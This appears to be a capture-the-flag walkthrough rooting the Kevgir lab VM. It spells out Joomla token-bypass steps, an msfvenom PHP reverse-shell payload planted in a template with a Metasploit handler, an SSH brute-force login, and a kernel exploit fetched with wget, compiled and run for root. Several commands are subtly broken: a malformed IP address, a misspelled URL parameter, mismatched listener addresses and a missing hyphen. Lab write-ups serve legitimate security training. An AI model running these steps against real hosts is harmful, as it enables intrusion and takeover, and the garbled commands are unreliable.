Hack the Kevgir VM (CTF Challenge)

In this article we will walkthrough a root2boot penetration testing challenge i.e Kevgir. Kevgir is a vulnerable framework, based on the concept of CTF(Capture The Flag).

Start off with finding the target using :

First Download Kevgir Vm From Here

netdiscover

Our target is 192.168.0.104 Now scan the target with nmap :
nmap -A -p- 192.168.0.104

With the nmap scan you can see the ports 80, 139, 2049, 6379, 8080, 8081, 9000, 40383 and many other are open as you can see in the image above and below :

Also, if you observe then you can see port forwarding is used here e.g. http service is open on port number 80, 8080 and 8081. So, let us try open our target on 80 and 8081 port.

On port 80 Our target opens as a the following :

And on port 8081 opens on :

The cms of the website is joomla and this version of joomla, as everyone knows, is exploitable. We will scan the said target with joomscan :

joomscan -u http://192.168.0.104:8081

Applying the joomscan will show all the vulnerable exploits. Now if you look closely the exploit number 15 will show you the steps to exploit the certain vulnerability. According to the said, go to 192.168.0.104:8081/index.php?optiona=com_user&view=reset&layout=confirm

When you go to the said url, it will ask you for the token.

Type an apostrophe (‘) in the token adjacent text box.

It will redirect you to a page where it will ask you to set up a new password.

After setting up the new password, login with the username and the password that you had just set.

Now that you are logged in, go to the Extensions menu and select Template Manager from the drop down menu.

Create the malicious code that you are going to upload via msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.103 lport=4444 -f raw

copy the code from >?php to die(); and when you have opened the template manager; choose the user Beez.

Paste the copied code there and click on save button.

Simultaneously, run multi/handler in metasploit by typing :

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.1.103

set lport 4444

exploit

Executing the above exploit we will have a meterpreter’s session. Further type:

shell

And if you type the combination of two following commands to import the python file to reach the terminal then it will not work as the version of python is updated :

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

Now you will reach the terminal. Here, type the following command to know the version of kernel :
lsb release -a
And now look for the writtable file by typing :
find / -writable -type d 2>/dev/null

Now this was our routine method to complete any CTF challenge but in this case it will not work as we tried to download the exploit but it didn’t dared to happen so we tried to exploit it through SSH which is working on the port number 1322 as the nmap scan suggests

For this just to the terminal of Kali and type :

ssh admin@192.11618.0.104 -p 1322

To obtain this password of SSH you need to apply brute force attack and the username and password that you wil get is admin:admin respectively.

Now you have logged in through the admin user. Here, download the exploit in the /tmp file.
wget https://www.exploit-db.com/download/39166
As the exploit is downloads itself successfully, you will then need to compile it and for that type :
mv 39166 39166.c
gcc 39166.c -o kernel
Then give the permission to the kernel by typing :
chmod 777 kernel
and then run it :
./kernel


And so you have reached root. Congrats!!